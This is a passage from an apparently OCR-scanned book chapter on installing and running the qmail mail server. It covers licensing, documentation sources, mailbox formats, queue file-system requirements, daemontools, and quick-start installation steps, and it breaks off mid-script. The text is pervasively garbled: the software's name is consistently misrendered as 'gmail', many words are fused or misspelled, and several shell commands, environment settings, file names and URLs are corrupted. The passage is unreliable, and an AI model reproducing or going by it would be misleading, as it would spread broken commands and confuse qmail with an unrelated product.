address

PIC.loca2loca Locdly injected message delivered to aloca user

PIC.loca2rem Localy injected message delivered to aremote address
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PIC.locd2virt Localy injected message delivered to an addresson a
locd virtud domain

PIC.nullclient A messageinjected on anull client

PIC.relaybad A failed attempt to use the local host asarday

PIC.relaygood A successful attempt to use the local host asarelay

PIC.rem2locd A messagereceived viaSMTP for alocal user
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License

gmail is copyrighted by the creator and is not distributed with a stlatement of users rights. However, he outlines what
he thinks your rights are under U.S. copyright law (http://cr.yp.to/softwarelaw.html), and he grantstheright to
distribute gmail source code (http:/cr.yp.to/gmail/dist.html). Binary distributions are aso alowed (
http://cr.yp.to/gmail var-gmail .html).

The bottom lineisthat you can use gmail for any purpose, you can redistribute unmodified gmail source ditributions
and qudifying var-gmail binary distributions, and you can digtribute patchesto gmail. Y ou cannot distribute modified
gmail source code or non-var-gmail binary digtributions.

Isgmail free software? Y es and no. It's available to anyone who wants it for free. Once one hasit, one can do
whatever one wantswith it, including modifying the source code except one can not redistribute modified gmail
source code or binary gmail distributionsthat don't quaify asvar-gmail packages.

These reditribution restrictions anger some free software activists who are used to being able to modify software as
they seefit for thair favorite Linux or Berkeley Software Digtribution (BSD) distributions, but Bernstein fedls strongly
that they're necessary for two reasons.

Hisreputation is at stake if someone distributesagmail distribution with modifications that introduce
reliability, security, or efficiency bugs.

gmail should look and behave the same on dl platforms. For example, thefile structure shouldn't be modified
to conform to the file-system hierarchy adopted by a particular operating system distribution.
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Documentation

Thereisawide sdlection of documentation available for gmail, including the man pagesthat come with the

source-code distribution and various online sources.

Man Pages

The gmail distribution comes with acomplete set of man pages. After ingtdlation, they're in /var/gmail/man. Y oull
probably need to add that directory to your MANPATH environment variable so you can easly view them. Table
1-7 describes how to set MANPATH using different shells.

Table 1-7: Setting MANPATH

SHELL COMMAND

Bourne (/bin/sh) MANPATH=3MANPATH:/var/gmail/man; export
MANPATH

Bash, Korn export MANPATH=8MANPATH:/var/gmail/man

C Sl setenv MANPATH $SMANPATH: /var/gmail/man

At this point, commandsin the format man name-of-gmail-man-page should display the appropriate man page. The
man pages are dso available onlinein HTML format (http:/mww.gmail.org/mail/index.html).

Documents

Note

Thegmail man pages are loaded with
information, but they require careful
reading because they'rewrittenina
dense, technicd style.Y ou might want
to print a set and read it through once
to familiarize yoursdlf with whet'sthere
and whereitis. Littleinformationis
repested on multiple pages, o if you
don't know where something is
covered, it can be hard tofind it.
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The gmail digtribution includes a series of documentsingaled under /var/gmail/doc. They include the following:

FAQ contains common questions with answers.

INSTALL* containsinstallation documentation.

PIC.* contains descriptions of how gmail performs key tasks. Seethe" Architecture” section for more
information.

These documents, and various other ingta lation-related documentation, are also available online (
http:/mww.gmail/org/man/index.html).

FAQs

Therearetwo officia FAQs:

Ivarlgmail/doc/FAQ isthe plain text version.

http://cr.yp.to/gmail/fag.html isthe online HTML verson.

The HTML verson is more complete and is updated more often.
Official gmail Site

The primary source of information isthe officid gmail sSte maintained by Berngtein (http:/cr.yp.to/gmail.html).

Thisgteindudes

A description of gmail

A ligt of gmail'sfeatures
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The gmail security guarantee

Theonline version of the FAQ

Documentation for speciaized configurations

A lig of large Stesusng gmail

Changesin recent versons of gmail

Plansfor thefuture

Pointersto related packages
Unofficial gmail Site

Theunofficid gmail ste (http:/Amww.gmail.org/) is an indispensable resource for gmail managers and users. Topics
coveredinclude

User-contributed add-ons

A ligt of providers of commercid support for gmail

A collection of handy tips

I nformation about virus detection and spam prevention

User-contributed documentation
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List Archives

Thegmail email mailing list, maintained by Berngtein, is ava uable source of troubleshooting information. A Web
archive of the list messages ( http://mww.ornl.gov/itsarchivesmailing-liss/gmail/) also has a search engine (
http:/Amww-archive.ornl.gov:8000/).

Most questions about gmail can be answered by searching the list archivesfirg.
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Support

Although gmail includes excellent documentation, and users have published many helper documents, there are times
when you just need to ask an expert. There are two main channelsfor support: Internet mailing listsand hired
consultants.

Mailing Lists

A mailing listisjust alist of e-mail addresses accessible through asingle address. Some lists are open (anyone can
post to them), some are closed (only members can post), and some are moderated (the list owner must approve dl

postings).

Tojoinamailing list, one usudly sends arequest by e-mail to a specia subscription address. Some lists requirethe
message to contain a specidly formatted subscribe command. It's considered good etiquette to join alist before
posting to it, even if it'sopen. It'saso agood ideato wait afew days before posting to become familiar with how the
list works.

Mailing lists are potentialy va uable resources, but they're not perfect. Unlessthe list is moderated, anyone can reply
to aquestion-whether they know what they're talking about or not. Y ou might get advice from the world's foremost

authority on the topic or someone who has no ideawheat they're talking about. It's critical to evauate al free advice

carefully before taking action.

Thefollowing ligtsreside on the host ligt.cr.yp.to and are managed by the ezmim list manager, which uses different
addressesto perform different functions:

<listname@list.cr.yp.to>: The submission address. Messages sent here go out to al members of thelist. Do
not send subscribe/unsubscribe requests here: They won't work, and you'll annoy the subscribers.

<listhame-hdp@ligt.cr.yp.to>: The help address. Returnsalist of command addresses and generd usage
information.

<listname- subscribe@list.cr.yp.to>: Send ablank message here to subscribe.

<listname-unsubscribe@list.cr.yp.to>: Send ablank message here to unsubscribe.
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mailto:listname@list.cr.yp.to
mailto:listname-help@list.cr.yp.to
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mailto:listname-unsubscribe@list.cr.yp.to

To specify the address to be added or removed-for example, rachel @example.com-send a message to:

| i st name-subscri be-rachel =exanpl e. com@ist.cr.yp.to

For moremailing lists hosted at cr.yp.to, see the complete listing (http://cr.yp.to/ligs.html).

gmail@list.cr.yp.to

Thisisthemain gmail mailing list. It's open and unmoderated, S0 discussion and questions/answers on everything
related to gmail (except related packages with their own lists) are appropriate. Read the FAQ and search the list
archives before posting a question. When you ask questions, try to include sufficient detailsto make it possible for
people to respond. Doing thiswill improve the likelihood of receiving auseful, timely response.

Try dso to include sufficient information to answer the following questions:

What did you do? What's your configuration? Include unedited gmail-showctl output if you're not sure
what's important. What actions did you take? Be specific: Show the commands you ran and include copies of
your startup scripts. Don't just say what you did, show what you did.

What did you expect to happen? What was the outcome you were trying to achieve? Don't assume that
the other subscribers can guess.

What did happen? Describe the actud results. Include log file clippings and copies of messageswith
headers. Don't just say, "It didn't work."

gmailannounce@list.cr.yp.to

Thisisthe gmail announcement mailing list. New releases are announced here. Only Bernstein poststo it, so there's
no submission address. Messagesfrom thislist arerare.

serialmail@list.cr.yp.to

Thisligtisfor discussion of the seriddmail package. It's open and unmoderated, so the sametipsthat apply for the
gmail list work here, too.

ezmim@list.cr.yp.to
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Thislist isfor discussion of the ezmlm mailing-list manager. 1t's open and unmoderated, so the sametipsthat gpply for
the gmail list work here, too. Archives are available online (http://marc.theaimsgroup.com/A=ezmim& r=1& w=2).

Hired Consultants

Although mailing lists can be gresat resources, they're somewhat limited. Because they're free, nobody is obligated to
respond promptly-or even a al. And there are limitsto what unpaid helperswill do.

If your mail system isdown and you need it back now, you want to implement anew feature, or you want someone
to configure a system to your specifications and you don't have the expertise to do it in-house, hiring agmail expert is
theway to go. Because gmail isfree and doesn't include awarranty, a support contract is also agood way to satisfy
management requirements for aresponsible commercid third party.

Seethe gmalil ste (http:/Amww.gmail.org/top.htmi#paidsup) for alist of commercia support providers.
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Conclusion

At this point, you know that gmail isamodern Internet MTA suitable for replacing Sendmail and other Unix MTAs
where security, reliability, and efficiency areimportant. Y ou've learned why it's secure, reliable, and efficient, and you
know its mgor features, its history, and its architecture. And you know where to get help running it: the available
documentation, mailing lists, Web sites, and consultants.

In Chapter 2, "Ingaling gmail," you'l learn how to ingtall acomplete gmail system suitable for gpplications ranging
from asingle-user workgtation to a high-volume mail server. Y ou'll be guided step-by-step through the ingtalation
process including compiling the source, ingtdling the binaries, and configuring the system to automatically start gmail
when the system is booted.
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Chapter 2: Installing gmail

Highlights

This chapter coversingdling gmail. If you're an experienced system adminigrator, you can ingtal gmail following the
directionsin the source distribution's INSTALL file. The INSTALL directionsare the"officid" installation directions.
However, these directions assume you are an experienced system and mail adminigtrator; further, they're outdated
because the current gmail distribution predates the current support packages.

The ingalation ingtructions presented in this chapter represent the current practices supported by gmail creator
Danid J. Berngtein and the gmail mailing list at the time of thiswriting. Check the book's Web site for further updates
(http:/Avww.gpress.com).

Note
If you choosetoingdl usngthe
following directions, you should read
through the entire chapter first to
familiarize yoursdf with the process.
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Overview

This chapter describes how to ingal gmail.

Firgt, well talk about some of the things you should think about and preparations you should make before
ingaling gmall.

Then, well summarize the ingtd lation procedure for the impatient-or those who've dready ingtalled gmail
using the detailed procedure.

Next, well go through a detailed, step-by-step installation procedure.

Findly, well briefly describe how to ingtall gmail from source-code Red Hat Package Manager (RPM)
bundlesfor Linux.
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Preparingto Install gmail

Before you start ingtalling gmail, you need to make some decisions about how you want to ingdl it. Do you want to
install aprebuilt package for your particular operating system? Or perhaps you want to install a source-code package
like an RPM? Maybe you want to ingtall gmail from the basic source-code tar file (tarball)? And where do you want
toingal it?

Evenif you're an old hand at ingaling software, you should consder these issues carefully because gmail isuniquein
severd waysthat might affect your decisons.

Binary or Source Code?

Because of gmail'sredtrictive licenaing regarding the distribution of prebuilt packages, gmail isusudly ingtdled from a
source-code distribution.

If you're not familiar with the distinction between source code and binaries, imagine ordering a pizzaddlivered to your
house. The"binary" version of the pizza arrives ready to eat. The"source-code" version of the pizzacomes asakit
containing flour, yeast, cheese, sauce, toppings, and directions for cooking the pizza. Source-codeinddlaionsarea
little more work for you, but if you follow the directions carefully, the result isthe same or even better. And youll
know alot more about your pizzaand how it works.

Tarball or Operating System-Specific Package?

Some operating systems provide a mechanism for automating source-code ingtalations. Returning to the pizza
anaogy, they makeit possible to package the ingredients and directionsin such away that you can just push abutton
and have the pizza bake itsdf.

Sounds grest, doesn't it?

In practice, this might not be such agood idea. Assembling these packages can befairly difficult, and they might not
work asintended. Like any software, they can have bugs. But even if these assemblies are bug free, the convenience
they provide comes at acost. You lose most of the advantages of the self-baked pizza, such asthe ability to adjust
the toppings to your persond preferences, the knowledge of how the pizzawas made, and the knowledge of how it
works.

If gmall was a pizza, the sdf-building approach might still be the way to go. But it'snot: It'safairly complex system
that the ingtaller/maintainer needs to understand pretty well to be able to keep it working smoothly. The self-ingtaling
gmalil iseader to install than the user-ingtdled version, but the user-ingtalled version is easier to configure and



troubleshoot. Configuring and ingaling from source code will dso give you agreater understanding of how gmail
works. You ingtal gmail once on asystem, but you will probably have severd opportunities to reconfigure or debug
it.

That'swhy ingtaling gmail from scratch using the source-code tarball, not a Red Hat RPM or other sdf-ingtaling
bundle, is recommended. If you still want to ingtall from RPM, it's covered in the " Ingaling from RPMS" section.

Choosing a Mailbox Format and L ocation

Messages received for find ddlivery are stored in a mailbox afile or directory that contains messages delivered to a
local address and owned by the user responsible for that address. The locations and formats of mailboxes vary
depending upon the trandfer, user, and ddivery agentsinvolved.

One of the most important decisons you'll make when ingtdling gmail isthe location and format of mailboxes. Y ou
basicaly have three choices.

mbox mailboxes under /var/spool/mail or some other centra spoal directory

mbox mailboxes under the user's home directory

maildir mailboxes under the user's home directory

A fourth possibility, maildir mailboxesin acentra spool directory, isnot commonly used except in virtual user
configurations, which iscovered in Chapter 11, "Hosting Virtud Domainsand Users" There are compatibility,
security, convenience, and performance tradeoffs with each of these choices, so well look into them more deeply.

The Mbox Mailbox Format

Traditionaly, Unix mailboxes have been stored in a centralized location, usudly /var/spool/mail or somevariation, ina
ample, snglefileformat caled mbox. In an mbox mailbox, messages are prefixed with aline that lookslike aFrom
header field. The mbox man page describesthe format in detall.

Thisisan example of amessagein mbox format:

From j essi ca@l ossom exanpl e. net Fri ©Mar 09 12:00:39 2001-03-09
Ret ur n- Pat h: <j essi ca@l| ossom exanpl e. net >
Del i vered- To: erica@ubbl es. exanpl e. com
Recei ved: (gmail-queue invoked fromsntpd); 9 Mar 2001 12:00: 38 - 0000
Recei ved: from bl ossom exanpl e. net (200@.0. 10. 10. 12)
by bubbl es. exanmpl e.comwi th SMIP; 09 Mar 2001 12:00: 38 -0000



Recei ved: (gmail 16464 invoked by uid 200); 9 Mar 2001 12: 00: 38 -0000
M ME- Version: 1.0
Cont ent - Type: text/plain; charset=us-asci
Cont ent - Tr ansf er - Encodi ng: 7bi t
Message- I D. <15017. 2418. 646410. 788141@l ossom exanpl e. net >
Date: Fri, 9 Mar 2001 08: 00: 37 -0500 (EST)
From Jessica <jessica@l| ossom exanpl e. net >
To: erica@ubbl es. exanpl e. com
Subj ect: Movi e tonight

Want to go see a novie tonight?

>From
Jess

Thefirgt line of the mbox, Sarting with theword From, isthe mbox prefix line. If amessage contains any other lines
darting with From, the line must be escaped by prefixing it with a greater-than sign (>) asin the next-to-last
linein the example.

Pros
mbox mailboxes are supported by amost al Unix MUAs and are the only format supported by some of them. If

you're migrating a system using mboxes to gmail, you might want to stick with the mbox format to avoid the need to
convert existing mailboxes to the maildir format and to avoid compatibility issueswith the MUASs your users are

aready usng.

Cons

Because al messages are stored in asingle file, mboxes require careful locking to prevent s multaneous updating by
multiple user agents which can result in mailbox corruption. The escaping of message lines sarting with Fromiis
digtracting to the user and interferes with message checksums and digital signatures. Also, there are severd variants
of the mbox format, as described in the mbox man page, and al MDAs and MUASs operating on amailbox must use
the same variant for reliable operation.

TheMaildir Mailbox For mat

gmail introduced the maildir mailbox format specificaly to address the wesknesses of the mbox format. A maildir
mailbox is, asthe name suggests, adirectory containing three subdirectories. Each messageinamaildirisstored ina
separate file in one of the three subdirectories, depending on the message's state. The three subdirectories are

tmp for messages in the process of being ddlivered

new for messages that have been delivered but not yet seen by the recipient

cur for messages that have been seen by the recipient



Note
Empty maildirs can be created using the
maildirmake command, which must be
run asthe owner of the mailbox, not
root. Most operating systems support a
"skeleton™" directory whose contents are
copied to the home directories of new
users. If you configure your gmail
system to default to maildir delivery, it's
agood ideato include amaildir
directory in the skeleton directory. The
traditiona namefor ausar'sprimary
maildir mailbox is Maildir.Y ou can use
any nameyou like, but Maildir is
unlikely to result in confusion about the
intended format of the mailbox.

Note
One important difference between
mboxesand maildirsisthat gmail will
not automaticaly creste maildirs at the
time of delivery. Be sureto creste
maildir mailboxesin advance or
deliverieswill be deferred.

Pros

No locking isrequired to limit Smultaneous access by multiple user agents even for maildirs accessed via Network
File System (NFS). Because each messageis stored in a separate file, there's no need for amessage prefix or
ecaping lines starting with From.

Cons

Themaildir format isrelaively new, and some MUASs don't support it. If al mail-box accesswill be viaPost Office
Protocol (POP) or Internet Mail Access Protocol (IMAP), thisisn't an issue because you can use POP and IMAP
daemonsthat support maildirs. If you're migrating from mboxes to maildirs, you'l have to ensure that the MUAs you
provide support maildirs, and you might want to convert the existing mboxesto maildirs.

M ailbox L ocation

Traditionally, each user'sincoming mailbox is stored in acentral spoal directory such as /var/spool/mail,
/usr/spool/mail, or /var/mail. This has been the source of numerous security problems because of holesin setuid()
ddivery agents and improper permissions on the mail spool directory, which let userstake ownership of other users
mailboxes.

To avoid these problems, the default location for auser's mailbox under gmail isin their home directory. Y ou can



configure most MUAs through an environment variable or configuration file to accommodate this change. Table 2-1
shows how to specify the mailbox location.

Table 2-1: Specifying Mailbox Location Using an Environment Variable

MAILBOX FORMAT |MAILBOX LOCATION [VARIABLE SETTING

mbox Ivar/spool/mail/username  |MAIL Ivar/spool/mail/username
mbox $HOME/Mailbox MAIL $HOME/Mailbox

maildir $HOME/Maildir MAILDIR $HOME/Maildir

malair Ivar/spool/mail/username  |MAILDIR Ivar/spool/mail/username

Whereto Put the Files?

Where should the binaries go? Where should the man pages go? The configuration files? The queue?

Every system administrator and operating system has different ideas about where the various pieces of apackage
belong. gmail is quite flexible about where these different piecesreside, but it wants al of them to be accessible from
asngle master directory. By default, everything will beingtaled under /var/gmail. Y ou could change the master
directory to /usr/local/gmail or whatever seyou'd like, but by leaving it done you make it easier for other people
familiar with gmail to support your ingalation.

gmail makes astrong case for locating the master directory on the /var file system in the online gmail frequently asked
questions (FAQ). The config, queue, aias, and users subdirectoriesfit the classic requirement for location in /var
because their contents are system specific and should not be shared between machines. Because gmail compiles
information about its various user IDsinto the binaries, the bin subdirectory isdso system specific. Theremaining
subdirectories boot, doc, and man are not system specific, but they're small, so they can beleft in /var in most cases.

If you redlly want to make gmail conform to some preferred directory structure, the best way to accomplish that isto
put the master directory in /var/gmail but relocate the subdirectories usng symbolic links. Figure 2-1 shows how to

do this.
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fvar/spoal/gmail




Figure 2-1: Usng symbalic links under /var/gmail

Thefollowing ingdlation ingructionsinclude an example of such areorganization.

Requirementsfor the Location of the Queue

Because of its high reliability, gmail imposes some requirements on the file system used to contain the queue.

Must Be L ocal

NFS and other network file systems don't behave exactly like traditiond, loca file systems. They're dso much dower
than locd file sysems.

Always use afile system for the queue on adisk physicaly attached to the gmail system.

Must Perform link() Calls Synchronousy

gmail assumesthat when it executesalink() call the metadata (directory and inode information) for the new link is
safely written to disk. Thisisnot truefor dl file systems and operating systems. File sysems known to meet this
requirement include

BSD Fadt File System (FFS) without " softupdates’

FFSvariantslike Solaris or True4 UFS

File sysemsthat don't meet this requirement include

Linux BExt2

BSD FFSwith softupdates

Gl XFS

Res=FS



There are acouple of Ext2-gpecific workarounds. Firgt, the file system can be mounted with the "sync" option to
cause dl operations on the file system to be performed synchronoudy, or directly to disk. This can have anegative
impact on performance, though, because it alows no caching, even when it could be done safely, and because it
gppliesto dl programs writing anywhere on thefile system not just gmail. Somewhat less drastic isto use the chattr
command to set the S attribute on dl of the queue subdirectories. That ill prevents some safe caching, but at least it
only affectsgmail.

There are better workarounds that work on most file systems.

Oneissyncdir (http://Aww.untroubled.org/syncdir/), alibrary that provides versions of the standard library functions
that modify metadata (open(), link(), unlink(), and rename()) with explicit calsto synchronize the metadata. Using this
workaround requiresingtaling syncdir and modifying the gmail Makefile to include -lsyncdir when loading
gmail-queue. See Appendix B, "Related Packages,” for detailed ingtructions.

Another workaround that may beright for you isapatch (http://mww.jedi.claranet.fr/gmail-link-sync.patch) that adds
explicit fsync() calsto synchronize the metadata. See Chapter 7, "' Configuring gmail: Advanced Options,”" for more
details about using patches.

Must Not Reside on a Disk Drivewith Write Caching Enabled

Thisrequirement is aso somewhat tricky to determine. In generd, Smal Computer Systems Interface (SCSl) disks
arelesslikely to enable write caching unlessthe disk device driver requestsit. Integrated Drive Electronics (IDE)
drives are more likely to enable write caching by default.

Support Utilities

Likedl sysemsof smilar size and complexity, gmail requires or at least works better with the support of severa
system utilities. Traditiondly, the network service " super server,” inetd, isusualy used to handle accepting
connections on well-known ports and invoking the appropriate daemons associated with those ports. Thelogging
sarvice, Sydog, accepts messages from daemons, timestamps them, and writesthem to alog file.

Unfortunatdy, these sandard Unix utilities have some serious limitations. Luckily, Bernstein has designed
replacements that address these problems. Although it's possible to use gmail with inetd and Sydog, it's not
recommended even for "casud"” ingdlations.

Network Service

What'swrong with inetd? It handles many services on thousands of servers with-out any obvious problems, right?
That'strue, but not al of its problems are obvious. Most high-volume network services on Unix serversdon't use
inetd, including Sendmail and Apache. Heréswhy:
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inetd lacks a connection limit. Theré's no way to limit the number of active connectionsto aport. On abusy
server, normal traffic levels can cause inetd to spawn more copies of adaemon than the system can handle.
Denid-of-service atacks are easly perpetrated against services managed by inetd.

inetd implements a connection-rate limit. If connections come "too fagt” to a particular port, inetd reports that
the service "may be looping” and disablesit for some period of time. Thisis disastrous on abusy server
shutting it down at its busiest time. Some versions of inetd allow the maximum connection rate to be
configured, but some don'. It aso alows attackers to temporarily turn off a service smply by connecting to it
until inetd disablesit!

Berngtein'sinetd replacement, Unix Client-Server Program Interface for TCP (ucspi-tcp) includes tcpserver, asmple
utility thet listensto aparticular port like 25 for SMITP and invokes a daemon like gmail-smtpd for each connection
to the port. (See Appendix B, "Related Packages,” for more information on ucspi-tcp.) tcpserver implementsa
maximum concurrent connection limit aswell as host-based access control similar to that provided by Wietse
Venemastcp wrappers utility (ftp:/ftp.porcupine.org/puby/security/index.html).

L ogging

What'swrong with Sydog? It handles logging for many services on thousands of servers without any obvious
problems, right? Again, that's true, and again the problems with Sydog are not so obviousthat one runsinto them
daily. But they are serious problems, nonetheless.

Sydogisinefficient. On aserver with abusy servicelogging via Sydog, it's not unusua for the sydogd
process to consume more processor cycles than the daemons providing the service. Some Sydog
implementationsinclude an option to write log files asynchronoudy, which doesimprove performance at the
cost of reliahility.

Sydogisunrdiable. Sydog will completely fill the disk partition holding alog fileif enough messagesare
logged. It contains no mechanism to limit the size of thelogs. If it can't writeto alog file, it smply throw
away new log messages! Logging viathe network, it uses User Datagram Protocol (UDP), not Transmission
Control Protocol (TCP), so network problems can cause messages to disappear without atrace.

Sydog isinsecure. There have been severd vulnerahilities discovered in sydogd, including those resulting in
remote access to root. sysogd implements a network-logging service, but provides no access-control
mechanism: Any system on the Internet can send alog message to your Sydog daemon.

Berngtein's Sydog replacement is multilog, from his daemontool s package (see Appendix B, "Related Packages').
multilog automaticaly limitsthelog's size by rotating log files. It kegps a configurable number of old logs after rotating
them, letting the system administrator configure exactly how much disk space will be devoted to agiven service. It
optiondly timestamps log entries with up to nanosecond precision compared to Sydog's one-second resol ution.
multilog aso implements pattern matching for specifying entriesto be included or excluded.
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Process Control

Berngtein's daemontools packageisa set of utilities for managing services. In addition to multilog discussed in the
previous section it includes supervise, aservice monitor, and various other tools for controlling processes monitored

by supervise:

svcisasarvice control program. svc alowsthe administrator to reliably and easily art, stop, or Sgnd a
daemon. Rather than using aprocess 1D stored in afile which might be incorrect or requiring the
administrator to parse the process ID from apslisting an error-prone process svc passes the request through

upervise.

svstat displaysthe status of aservice.

svscan starts and monitors a collection of services. For each directory in the target service directory, svscan
starts a supervise process to manage each service and, optionaly, another supervise process to manage
logging the service's output.

ta64nlocd converts amultilog timestamp to a human-readable time/date format in the locd time zone.

setuidgid runs the specified command with thelogin user ID (UID) and group 1D (GID) of the specified
account.

softlimit runs the specified command with specified resource limits.



Note

Thegmail ingalation presented in this
chapter uses daemontoolsto start and
control the gmail processes. A shdll
script interface is provided that
implements a generic contral interface
amilar to apachect! for the Apache
Web server or ctlinnd for the
InterNetNews (INN) server. For more
information about apachect!, seethe
man page (
http://httpd.apache.org/docs/program
g/apachectl.html). For more

information about ctlinnd, see the man

page (
http: //www.mi bsoftwar e.com/user kt/i

nn/doc/ctlinnd.8.htm).
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Installing gmail: Quick-Start Instructions

Now, for the sake of the impatient and the experienced, this section provides a condensed version of the complete
ingtalation process. It can dso be used as a checklist while you're following the detailed ingtructions. If you're new to
ingaling gmail, you should skip to the " Ingtaling gmail Step by Step™ section for detailed directions.

1.

Veify that your system meets these requirements:

0

10 megabytes of free spacein the build area

A few megabytesfor the binaries, documentation, and configuration files

Sufficient disk space for the queue on an gppropriate locd file system

Unix or aUnix-like operating system

Accessto aDomain Name System (DNS) resolver

Adeguate network connectivity

A complete development environment including a C compiler, linker, header files, make or gmake,
libraries, and so on

The gunzip utility from the gzip package (http:/Aww.gnu.org/directory/gzip.html)

Verify the build environmen.


http://www.gnu.org/directory/gzip.html
http://www.gnu.org/directory/gzip.html

At acommand-line prompt, type cc and pressthe Enter key:

$ cc
cc: No input files specified
$

If you get asimilar response, you have a C compiler in your path and you can go to step 3.

If you get an error likethis:

$ cc
sh: cc: command not found
$

It doesn't necessarily mean you don't have oneingtaled. Y ou might, but maybeit isn't in your path. Of course, it
could aso mean that you don't have one. Try usng these:

Jusr/bin/cc

Jusr/bin/gee

Jusr/local/bin/cc

Jusr/local/bin/gec

Jusr/ccsbin/cc

Locate the source.

Y ou'll need the source tarballs for gmail, ucspi-tcp and daemontools:

gmail (ftp://cr.yp.to/software/lgmail-1.03.tar.gz)

ucspi-tep (ftp://cr.yp.to/ucspi-tep/ucspi-tcp-0.88.tar.gz)

daemontooals (ftp://cr.yp.to/daemontool s’daemontool s-0.70.tar.gz)



Retrieve these files using your Web browser or FTP client.
4.

Unpack the digtribution.

At thistime you probably want to become the superuser, if you are not aready:

$ su -
Password: rootpassword (doesn't echo)
#

Copy or move the tarballs to the directory in which you want to do the build.

# nkdir -p /usr/local/src

# mv *.tar.gz /usr/local/src

#

Unpack the tarbdlls:

# umask 022

# cd /usr/local/src

# gunzip gnail-1.03.tar.gz

# tar xf gmail-1.03.tar

# gunzip ucspi-tcp-0.88.tar.gz

# tar xf ucspi-tcp-0.88.tar

# gunzi p daenontool s-0.70.tar. gz
# tar xf daenontool s-0.70.tar
#rm*. tar # optional, unless space is very tight

Changeto the gmail-1.03 directory:

# cd gmail -1.03
#

Cregte the master directory.

Because gmail'singtdlation program creates the subdirectories as they're needed, you only need to creste the master
gmall directory:

# nkdir /var/gmail
#



Create users and groups.

Many versons of Unix provide utilitieslike adduser, useradd, or mkuser that make this easy. Alternatively, you can
manualy edit the password and group files and add them yourself.

Linux/Solaris

groupadd nofil es

useradd -g nofiles -d /var/qmail/alias alias -s /nonexistent
useradd -g nofiles -d /var/qgmail gmaild -s /nonexistent
useradd -g nofiles -d /var/qgmail gmaill -s /nonexistent
useradd -g nofiles -d /var/qgmail gmailp -s /nonexistent
groupadd gmmai

useradd -g gqmail -d /var/gmail gmailqg -s /nonexistent
useradd -g gqmail -d /var/gmail gmailr -s /nonexistent
useradd -g grmail -d /var/gmail gmails -s /nonexistent
FreeBSD

pw groupadd nofiles
pw useradd alias -g nofiles -d /var/qgnail/alias -s /nonexistent

pw useradd gqmaild -g nofiles -d /var/qmail -s /nonexistent
pw useradd gmaill -g nofiles -d /var/qmail -s /nonexistent
pw useradd gmailp -g nofiles -d /var/qmail -s /nonexistent
pw groupadd qrai

pw useradd gqmailq -g gqmail -d /var/gmail -s /nonexistent
pw useradd gqmailr -g gqmail -d /var/gmail -s /nonexistent
pw useradd gmails -g qmail -d /var/gmail -s /nonexistent
AlX

nmkgroup -A nofiles

nmkuser pgrp=nofiles home=/var/qgmail/alias shell=/bin/true alias
nmkuser pgrp=nofiles home=/var/qgmail shell=/bin/true gmaild
nmkuser pgrp=nofiles home=/var/qgmail shell=/bin/true gmail

nmkuser pgrp=nofiles home=/var/qgmail shell=/bin/true gmailp
nmkgroup -A gmai

nmkuser pgrp=qmail home=/var/gmail shell=/bin/true gmailq

nmkuser pgrp=qmai |l honme=/var/qgmail shell=/bin/true gmailr

nmkuser pgrp=qmail honme=/var/gmail shell=/bin/true gmails

Other Operating Systems

Start by using your favorite editor and editing /etc/group. Y ou need to add the following two linesto the end of the
file

gmai | : *:2107:
nofiles:*:2108:



Caution
Make surethat 2107 and 2108 aren't
aready used. If they are, choose two
group numbers not aready in use.

Next, usng vipw (most systems haveit; if not, you'll need to use your editor again but thistime on /etc/passwd), add
these linesto theend of thefile:

alias:*:7790:2108: :/var/qmail/alias:/bin/true

grai | d: *:7791: 2108: : /var/ gmai |l : / bin/true

grai || :*:7792: 2108: : /var/ qmai |l : / bin/true

gmai | p: *: 7793: 2108: : /var/ gqmai |l : / bin/true

gmai | g: *: 7794: 2107: : /var/ gmai | : / bin/true

gmai | r:*:7795:2107: :/var/ qmail : / bin/true

gmai | s: *:7796: 2107: : /var/ qmail : / bin/true

Caution
Make sure 7790 7796 aren't already
used and that 2107 and 2108 are the
same group IDsyou used previoudly.
7.
Ingdl gmall.

In step 2, you located your C compiler. If it'snot called cc or the directory it resdesinisnt inyour PATH
environment variable, you'll need to edit the conf-cc and conf-Id build configuration files. Say your compiler isgcc,
and it'sin /opt/gnu/bin, which isnot in your PATH. Simply edit conf-cc and conf-ld and replace cc with

Jopt/gnu/bin/gec.

Now typethe following:

# make setup check

Note
If make isnot found, try gmake.

The next sep isto create the basic configuration files under /var/gmail/control. Executing the config script doesthis:

# ./config

If config can't find your host name in DNS not /etc/hosts you can instead run the config-fast script:

# ./config-fast the.full.hostnane



For example, if your domain is example.com and the host name of your computer is dolphin, the command would be:

# ./config-fast dol phin. exanpl e.com
8.

Ingtall ucspi-tep.

Now change to the ucspi-tcp build directory:

# cd /usr/local/src/ucspi-tcp-0.88

Inthe previous section, if you modified conf-cc and conf-Id, you'll need to make the same changesin this directory.

Then build the binaries by executing

# make

Toingdl the programs under /usr/locd/bin, do this:

# make setup check

0.

Ingtall daemontools.

Change to the daemontools build directory:

# cd /usr/|ocal/src/daenont ool s-0. 70

Once again, if you modified conf-cc and conf-Id during the gmail and ucspitcp builds, you'll need to make the same
changesin thisdirectory.

Then build the binaries by executing

# make

Toingdl the programs under /usr/locd/bin, do this:



# make setup check

Now create the /service directory:

# nkdir /service

Next, set up svscan to run on the /service directory each time the system is booted. If your system has an /etc/inittab
(Linux or aSystem V, Release 4 derivative), add the following single line (with no line bresks) to the end of thefile:

SV: 123456: r espawn: env - PATH=/ usr/ | ocal / bi n: / usr/ shi n:

[ usr/ bi n:

/[ bin

svscan /service </dev/null >/dev/consol e 2>/dev/consol e

Thentdl init to reread /etc/inittab by doing this

# kill -HUP 1

On Berkeley Software Distribution (BSD)-based systems that don't have an /etc/inittab, put the following in
/etc/re.locd, creating it, if necessary, and reboot the system:

env - PATH=/usr/local/bin:/usr/sbin:/usr/bin:/bin csh -cf 'svscan /service &

Use psto verify that svscanisrunning:

# ps -ef | grep svscan

or

# ps -waux | grep svscan

Findly, run afew teststo make sure the toolswork right. First, run the automeatic tests script:

# cd /usr/local/src/daenont ool s-0. 70
# ./rts > rts.out

# cnp rts.out rts.exp

#

If dl the tests succeeded, the cmp command will generate no output. However, some System V Release 4
derivativeswill fail one of thelock tests. Thisisnormal. Now well check some of the timestamp tools:



# date | ./tai64n | ./tai64nloca
2001- 03-16 21:46:17.890891500 Fri Mar 16 21:46:17 EST 2001

# date | sh -¢c '"./multilog t e 2>&1' | ./tai64nloca
2001- 03-16 21:46:18.063667500 Fri Mar 16 21:46:18 EST 2001
#

The date and time at the beginning of each line should be within a second of the date and time at the end of theline.
10.

Set up the gmail boot script.

Useyour editor to creste the following /var/gmail/rc:

#!/ bi n/ sh

# Using stdout for | ogging
# Using control/defaultdelivery fromgnmail-local to deliver nessages by default

exec env - PATH="/var/gmail/bin: $PATH" \
